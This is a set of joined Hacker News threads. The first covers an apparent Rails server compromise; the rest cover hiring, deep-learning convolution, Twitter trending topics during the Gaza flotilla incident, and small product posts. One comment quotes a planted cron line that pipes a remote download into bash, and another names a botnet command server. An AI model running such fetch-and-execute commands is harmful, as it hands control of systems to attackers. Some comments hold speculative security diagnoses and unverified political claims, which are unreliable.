If I had to guess, I'd assume that Hacker News is frequented by a lot of programmers running startups who don't have and don't know any operations/infrastructure people. Here's a budget item: You can't afford to not have and not know any ops/infra people. Those people should be part of your team from the beginning so that they can put their foot down when you want to roll something that won't scale or want to avoid updating software versions because it might break something and you're crunching. If you think you can get away with those things, you're setting yourself up for a fall, and your customers' data will be exposed when you fall. If more VCs did diligence at the technical level, would more founders be likely to pay attention to infrastructure and operations as anything besides an expense that "can't be that difficult" to avoid by DIY?

</comment><comment><USER17> Ever since word of regressions (performance and otherwise) in 3.2.13 <https://news.ycombinator.com/item?id=5409978> I've been waiting on news of 3.2.14 ... I wonder if anyone has word on when to expect that, because the vulnerabilities patched in 3.2.13 that we can't take advantage of, make me a little nervous.

<comment><USER18> You can use 3.2.12 with the security patches added, like Discourse is doing:

[https://github.com/discourse/discourse/commits/master/lib/fr...](https://github.com/discourse/discourse/commits/master/lib/freedom_patches/rails_security_fixes.rb)

(to be used as an initializer)

</comment></comment><comment><USER19> Why is that whole thread full of rails people who don't know how to format code with markdown? What is going on here?

<comment><USER20> Because rails people don't know markdown. In all seriousness I'm assuming that those guys are panicking right about now and can't type fast enough let alone worry about the slightest bit of code formatting.

</comment></comment><comment><USER21> I've been watching people probing my servers.

If you're using Rails externally and you haven't upgraded it, it's only a matter of time till it gets hacked.

Could be the most obvious statement ever, but there you have it.

</comment><comment><USER22> The double unescape in the comments felt kinda like "Enhance!" "Enhance!"

</comment><comment><USER23> Subscribe to the ruby on rails security mailing list if you haven't already: [https://groups.google.com/forum/?fromgroups#!forum/rubyonrai...](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails- security).

I also started using Gemnasium which does a good job of notifying me about security patches in my app's dependencies along with keeping me up to date with gem releases.

</comment><comment><USER24> take the system offline, install fresh o/s on new server, re-deploy clean copy of code.

slowly and carefully move only non-executable files over (uploaded images, post-inspection database dumps).

if you deployed using git checkouts and the like you will also have to manually go through all the commits/branches to make sure they didnt muck about with your code to install a backdoor.

</comment><comment><USER25> Update Rails. Exploit of known issues.

</comment><comment><USER15> The guy is putting together a botnet. Controlling it on cvv4you.ru:6667 channel #rails.

<comment><USER26> C&C is hosted by infiumhost.com, seems to be professional botnet hosting. Approach with caution.

<comment><USER27> Source on that? Just looks like a regular VPS host to me.

</comment></comment></comment><comment><USER28> How can you check if your Rails app has been exploited?

</comment><comment><AUTHOR> In my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the server then allowing remote execution via a url. Not sure.

<comment><USER29> If you're running Rails, then it's Rails that's vulnerable.

</comment></comment><comment><AUTHOR> This could be the solution: [http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Release...](http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Released- to-Fix-Arbitrary-Code-Execution-Vulnerability-351523.shtml). I think I was on 1.1 or something then did "gem update passenger"

</comment><comment><AUTHOR> I think this exploit affects all Linux based servers running Nginx that haven't upgraded to 1.5.0. Passenger is using 1.4.2 which would mean that if you use Rails you are vulnerable. I'm not 100% sure, but neither is anyone else. A fresh install won't help for this hack as it's through the URL. You can see more in the github.com url about the exploit. I don't think the author of github knows the solution yet either.

<comment><USER30> 1.4.2 is safe, 1.4.1 contained the fix for CVE-2013-2028</comment></comment>


Ask HN: Javascript libraries for intelligent tables - <AUTHOR>

I know datatables, but isn't there something more versatile and less bloated? <comment><USER2> Not sure what you are looking for, but the unobtrusive table sort script is pretty good if that's what you need:

[http://www.frequency-decoder.com/2006/09/16/unobtrusive- tabl...](http://www.frequency-decoder.com/2006/09/16/unobtrusive-table-sort- script-revisited)</comment>


Is this a good idea of a communication tool to replace the telephone, for sme's? - <AUTHOR>

Think of, the Philippines. Where 90% of businesses are Small to Medium Enterprises and are slowly coming to terms with technology. The number of businesses with broadband connectivity are increasing making it more pervasive than ever.
About 50% of those SME's do trading/retail and wholesale of goods. Goods need to be reordered from suppliers. They most of the time do ordering via phone or email. Phone calls are forgotten, emails get lost. The two solutions offer very little ways to keep track of orders. While sales/Inventory systems are in place, they don't usually have supplier collaboration features.
Im asking this question in the perspective of the Philippines. Just try to imagine the situation. The startup I am thinking of involves a product that potentially addresses the issue. It's a web-based sales/purchasing system that organizes the way suppliers communicate with customers and vice versa. Think of it as a social network however built for Business to Business transactions. In essence, it allows the two entities to transact, to make orders to suppliers, and for suppliers to send invoices to customers. Through the system, both entities can track receivables/payables.
It's going to have a basic CRM module where customers can submit issues on their products. It'll also have a project-management module for project-based deals where customers and suppliers can track milestones and billing schedules.
At this point it's still a rough idea. What do you think? <comment><USER2> I think you really have to live in the Philippines to know (so my opinion is obviously not worth that much), but it seems like a good basic business tool (and those are obviously going to sell well if no-one else has jumped in yet).

Probably the best thing to do, is to put together the simplest thing that will do the task and to try to sign up some alpha testers.

</comment><comment><USER3> I think it is a good idea, worth cultivating. However, one of the problems might be that many of these shops buy from large suppliers which have sophisticated systems and you will battle to bring them along.

However, they might already have web interfaces that you might be able to tap into (think soft drink companies etc).</comment>


Strong Cryptography Using Linux's Random Number Generator - <AUTHOR> http://insights.wired.com/profiles/blogs/strong-cryptography-using-linux-s-random-number-generator?

<comment><USER2> Just boot up a new vagrant machine running Ubuntu 12.04, wow, cat /proc/sys/kernel/random/entropy_avail shows 143. Why is it so low (according to article below 200 is low).</comment>


How to make a better measuring cup - <AUTHOR> http://www.uiandus.com/2009/02/19/video/gems-of-unnoticed-problems/

<comment><AUTHOR> This is also a good reason why companies shouldn't worry only about satisfying customer requests, but should also be willing to do their own thing.</comment>


Programming Puzzles Are Not the Answer – How Spreedly Does Work Samples - <AUTHOR> http://engineering.spreedly.com/blog/programming-puzzles-are-not-the-answer-how-spreedly-does-work-samples.html <comment><USER2> I applied a few months ago to a position at Spreedly and welcomed the code sample process. It is only one part of their hiring process, like the article mentioned. I loved getting feedback on the results too, it turned out someone had a better score and that's ok, I knew exactly why and actually learned something about that problem. Most jobs you apply for and don't get you just hear deafening silence back.

It also gives you an idea of what the company focuses on - delivering working software. I'm not saying companies that don't do work samples don't focus on that but as a candidate it makes you wonder if playing games is part of the job. You gotta talk about real code, look at real code and discuss it.

I have also been a manager and sat on the other side of the hiring table and it is hard to judge the technical chops of people. We used quizzes of deep technical items that should have been known by someone if they had done the work before (e.g. MTU settings for a db cluster) and that helped weed out people but it really wouldn't give a sense of if they were a 100% good fit, you need other ways to check that too.

I like the analogy of developers to chefs and cooking. Programming puzzles is like judging a chef on cute tricks to slice an onion. Would you hire a chef based on their onion slicing tricks or their ability to cook an amazing meal?

</comment><comment><USER3> I recently applied for a software engineer position at spreedly. I looked into what spreedly did and thought I was a perfect fit, and I still think that. I thought I did good on my work sample all things considered (see below). Spreedly's metrics did not agree. One thing that I really liked about spreedly was the fact they told me why I failed and what I failed on. Other companies are treating their hiring process like a trade a secret; if you're trying that hard, it's probably not working IMHO. Most of the spreedly work sample was great. You had to dig into source code, reason about the code base, etc. What I did not like was the gotchas. There were not a lot, just a few, but it's part of the reason I wasn't considered. I don't have time for games, pure and simple. I'm never going to put the time or effort into a code sample that I would as if I was getting paid. Not when I have real work to do, not when I'm playing the job application lottery and I might go bust vesting too much time with one company's code sample. It seems almost narcissistic of a company to ask for that much. It's kind of analogous to the fruitless question: "Tell us why you want to work for Hooli?" The other feeling I consistently walk away with is that I'm a guiena pig; I'm a beta tester for your hiring process and that does not feel good one bit.

All of that said, I have to say spreedly's work sample was the most realistic. During the process I did feel like there was a purpose to what I was doing, which is great for someone like me who has a hard time doing "puzzles" and the like because I see no utility in it.

Do I think blind hiring works? It could, but not the way it's being utilized. When I first heard of blind hiring, I thought this is great. No bias, no bs, just code. I've been on the hiring side of the table before and 90% of the applicants were full of it in regards to what they put on their resume vs what they actually knew. The worst part is after you spend the whole day interviewing worthless candidates you have all your regular work that has piled up during the process that must be done. A lot of time and energy gets expended in that process and wasted. I truly understand both sides. As a tool to filter out "those people", it's great. However, blind hiring seems like it being used to try and find the perfect candidates. Perfect candidates do not exist; just as perfect humans do not exist. Great test takers do exist though. Personally, I have never correlated good test takers with good employees or good programmers. In fact, it's always seemed to be the opposite from my experience.

      So, what's a better way to skin this cat? I honestly don't know, but if I think of it I'll be sure to make a proprietary app and sell it to all the companies I've done blind samples for : )

<comment><AUTHOR> OP here.

This is great, Peter, thank you for this perspective!

If you walked away with the impression that there were gotchas, then we have failed. While we do have specific criteria we're looking for (as we're trying to make the grading of each work sample as objective and consistent as possible), I wouldn't call those items "gotchas". It's also not the type of thing where if you miss one small item, you're disqualified. The grading allows for several missed items and is only looking for some total of all allowed points (across 33 different criteria). So while some of the items you didn't get credit for might have appeared trivial, or like a gotcha, there should be enough allowance in the process to not let one or two misses scuttle the whole effort.

> Perfect candidates do not exist; just as perfect humans do not exist. Great > test takers do exist though. Personally, I have never correlated good test > takers with good employees or good programmers

We are totally with you re: perfect candidates. Work samples are only one part of the hiring process after all, and are meant to ensure some base level of technical ability. Others parts of the process, such as our structured interviews, are meant to flesh out some of the nuances I believe you're referring to here. We're not looking for a perfect candidate, but we are looking to understand what makes up each candidate to know if their strengths are a fit for Spreedly and if we can live with the weaknesses (and vice versa for the candidate evaluating Spreedly!).

We really do appreciate your effort, both in writing up your thoughts here, and in applying in the first place. This is how we get better at this kinda of thing!

<comment><USER3> Just wanted to add. Some of my comments are not directed at spreedly but about the whole shimmy shaw in general.

Oh, and remember... next Friday... is Hawaiian shirt day. So, you know, if you want to, go ahead and wear a Hawaiian shirt and jeans.</comment></comment></comment>


Understanding Convolution in Deep Learning (2015) - <AUTHOR> https://timdettmers.com/2015/03/26/convolution-deep-learning/ <comment><USER2> Everyone must first get over the terminology confusion. Convolution in DL is actually cross-correlation, not convolution. In practise it does not matter, signal is just flipped, but it can be very confusing when you try to learn and go trough examples.

<comment><USER3> The terminology comes from signal processing, where a convolution in the frequency domain is equivalent to a multiplication in the time domain. I don't think anyone is thinking about the frequency domain in deep-learning, but they still call the operators convolution kernels.

<comment><USER4> I mean ultimately it comes from functional analysis and differential equations (not signal processing).

It's a binary operator on functions that yields a third function. It has a lot of useful properties and equivalences, like that it can be described as the product of two Fourier transforms (although that's very roundabout).

You're actually introduced to convolution in middle school when you're taught how to multiply monomials to build a polynomial (at my middle school they called it "FOIL").

<comment><USER5> It appears to be a discrete Fourier, no? Does it apply to all convolutions or just a specific instance or subset? As in id there a proof showing that as sample size N goes to a limit it approaches a continuous limit? I still natively think in continuous convolutions from Physics. The whole discretization of these operators is oddly harder for me despite it technically being simpler to compute.

<comment><USER4> No, it's true of both continuous and discrete time/domain Fourier. Convolution in time is multiplication in frequency, and vice versa. You don't need to prove this with limits directly, just use the definition of the convolution integral and Fourier transform integral.

> technically being simpler to compute.

They're equivalent, since the only meaningful way to "compute" a continuous convolution is symbolically, and discrete convolutions obey most of the same identities.

If one can place a lower bound on the time step resolution of a simulation then continuous convolutions are evaluated using discrete convolutions, which can represent the continuous case exactly via the Nyquist-Shannon sampling theorem.

Interestingly enough, to prove the Sampling Theorem you need to rely on the identity that multiplication in frequency is convolution in time, and to prove that it can't be realized in a physical system (breaks causality, since you multiply by a superposition of Heavisides which of course are infinitely long sinc functions in both directions of time).

And more interesting is that signals and systems is mostly applied dynamics and statistics, so it shouldn't be surprising if there's overlap.

</comment></comment></comment></comment></comment><comment><USER6> IMO calling it "convolution" in deep learning is extra confusing, because the word "convolution" means many fairly different things in other contexts.

The idea behind convolution in deep learning is that, if a particular pattern of pixels is meaningful, then it is probably also meaningful if you shift the whole thing in some direction. So you can force some layers of the network to be the same under translation, and it'll be faster to pick up some sorts of patterns.

<comment><USER7> You didn't explain why its faster though.

It's faster because its reduces the dimensionality of the inputs down to something manageable (hundreds or low thousands). You can replace convolutions with most other types of dimensionality reduction (including other types of layers) and outside of image tasks you'll get very similar or even better performance.

<comment><USER5> I wonder if that'd work by doing a 2d Fourier transformer on an image before hand, but you're not reducing dimensionally that way.

</comment></comment></comment><comment><USER8> Thanks for sharing this.

</comment><comment><USER9> Published in 2015</comment>


Twitter is not censoring flotilla. - <AUTHOR> http://search.twitter.com/search?q=flotilla <comment><USER2> I am disgusted by the "twitterati" in this case. What happened off the coast of Gaza is likely to very significant, and "we" get all puffed up yelling bloody censorship over what is very likely to be a technical fluke.

The story is highly publicized in mainstream media. It's wide open. Whoever allegedly decided that censoring a topic from trending on Twitter would matter even the slightest is too stupid to have a job at Twitter with access to do that.

<comment><USER3> What confounds me is that we have people saying they'd rather not see discussions on this event on HN due to its political nature, and yet the Everybody Draw Muhammed Day post two weeks ago was quite lively.

I mean, geez, people _died_ on that boat and commenters are more interested in some sidebar widget in Twitter?

</comment></comment><comment><USER4> Okay, so that particular word is not in the trending topics. News flash: "Justin Bieber" isn't either, and I'll bet my life that his fans are still tweeting about him. Twitter just released a new trending topic algorithm, and they specifically said that it wouldn't catch _every_ trend.

<comment><USER5> This particular topic was at around 0.85% of all tweets yesterday. What type of algorithm would ignore this traffic, in favor of say around 0.05% (for first topic).

This has some human fingerprints.

Today - some related topics are making it to the trends.

<comment><USER6> > What type of algorithm would ignore this traffic

Here's are some algorithms that would cause behavior different than what you would expect:

* Take rate of tweets into account

* Take the geography of tweeters into account

* Only allow a topic to trend if it has an odd number of letters

Obviously the real algorithm probably doesn't count the letters in the topic but it could be if it was a bug. It appears your mental model for how something gets into trending topics is:

* Take the topics that have the highest total tweets per day.

That is almost certainly not correct.

> This has some human fingerprints.

You absolutely don't know that. It's pure speculation.

</comment></comment></comment><comment><USER7> Seems to be working for me. Here are some tweets:

> jonathanfryer: If Iran not Israel had carried out an attack on aid flotilla, > we'd now be at war. Western double standards make me sick.

> Sarabughazal: "your blood reached the shores of Gaza before your aid" > #flotilla #freedomflotilla

> aslanmedia: Shocking footage from Al-Jazeera before communication to ships > was cut off. <http://bit.ly/cZyYYw> (expand) #israel #flotilla #gaza

<comment><USER8> It's different from trending. Someone was suggesting that the word isn't trending.

</comment></comment><comment><USER9> Erhm. Am I not getting something?

It _IS_ in the trending topics: <http://imgur.com/QxuqV>

Is the story here that they are censoring something or that they are _not_? Because if it were the latter, I'd be sad. Do we assume that for social networks to censor communications on recent politically grave events is the default now?

<comment><USER10> The story is:

* nothing was censored

* it just wasn't showing as a trending topic

* Twitter is probably just having stupidity in their system (as usual)

* somebody wanted to get lots of clicks

* somebody wrote an inflammatory blog post

* HN upvoters fell for it

</comment></comment><comment><USER11> Forgive me, but ... what's the relevance of that word? Isn't a flotilla just a bunch of ships? Why would Twitter censor it?

<comment><USER12> Israeli IDF shot at and attacked a flotilla of ships carrying humanitarian aid to the Gaza strip a few hours ago through international waters.

EDIT: Differing reports as to casualties: ranging from 0 to 30 dead.

<comment><USER13> So why would Twitter censor the word?

<comment><USER14> Because this is a very, very, very big deal. Let me be clear: It's a big fucking deal. It's huge.

It was attacked in international waters. On board were a Nobel Peace Prize Laurette, a Swedish MP and three German MPs (members of parliament/congress). No one yet knows the fallout of this, but here in Europe, no one can talk about anything else.

<comment><USER15> Is there a precedent of Twitter censoring "Big Deal" words before? IIRC @ev actually recommended Al Jazeera's Gaza Twitter feed during last year's escalation there.

If anything, it's a case study in how conspiracy theories grow: Every Twitter user is familiar with these type of issues. However in this case Israel is involved, which gave rise to various suspicions of "censorship". When some people then reported the search working fine for them, the theory grew a "location-dependent" subtheory, and users were "reporting" blocked/unblocked per their location. No doubt, a month from now significant parts of the Internet will be referring to the "flotilla censorship" as a known fact.

</comment></comment></comment></comment></comment><comment><USER16> I thought the point isn't that twitter is censoring tweets with the word 'flotilla', but that it's not appearing as a trending topic.

However, both #freedomflotilla and 'Gaza flotilla' are trending right now.

</comment><comment><USER5> It's not censoring #flotilla search - it IS censoring trending topics. A highly selective, possibly first case, of word censoring. It's also censoring #gaza, #israel along with #flotilla.

This sort of selection is apparently based on an operator action/directives rather than automated one (#israil - Turkish for #isreal is not censored).

Now, this is turning highly political and opinionated as Twitter hasn't previously censored #iran or other politically charged words.

</comment><comment><USER17> I'm from Turkey which the ships sailed out from. IDF attacked unarmed ships in international waters, They killed about 19 on board and forced the ships into an Israeli port, so far injured is rejecting medical aid from israeli hospitals and medical staff, I'm afraid there can be more loss of life.

It's very sad that they are still manipulating the news and trying to change the world's perpective on the subject.

It's plain and simple, they are actively trying to kill a nation of people, they are attempting genocide, which they should be aware of more then most of the world is the most awful atrocity mankind can inflict.

Support the humanitarian peaceful effort of good people.

God be with them.

<comment><USER18> Even if I agree with you mindcreek here, if possible, I'd invite anyone to keep political discussions out of HN. This just isn't the right venue imho.

<comment><USER17> you are rigth i also hate politics...</comment></comment></comment>


Show HN: Lunched, an app that makes it easy to have lunch with your teammates - <AUTHOR> https://www.lunched.io/ <comment><USER2> The site layout is messed up for me.. Buttons are way right.

So install an app, to vote on where to eat? This seems like more work. I use skype messenger and message people. Its simple and does not require me to use my phone and install another app.

</comment><comment><USER3> What is not already easy about having lunch with teammates, why does this need to be an app instead of a website, and what does it even do?

<comment><USER4> This app harvests everybody's phone contents (Cakendar, Contacts, and much, much more). That's a profit center right there.</comment></comment>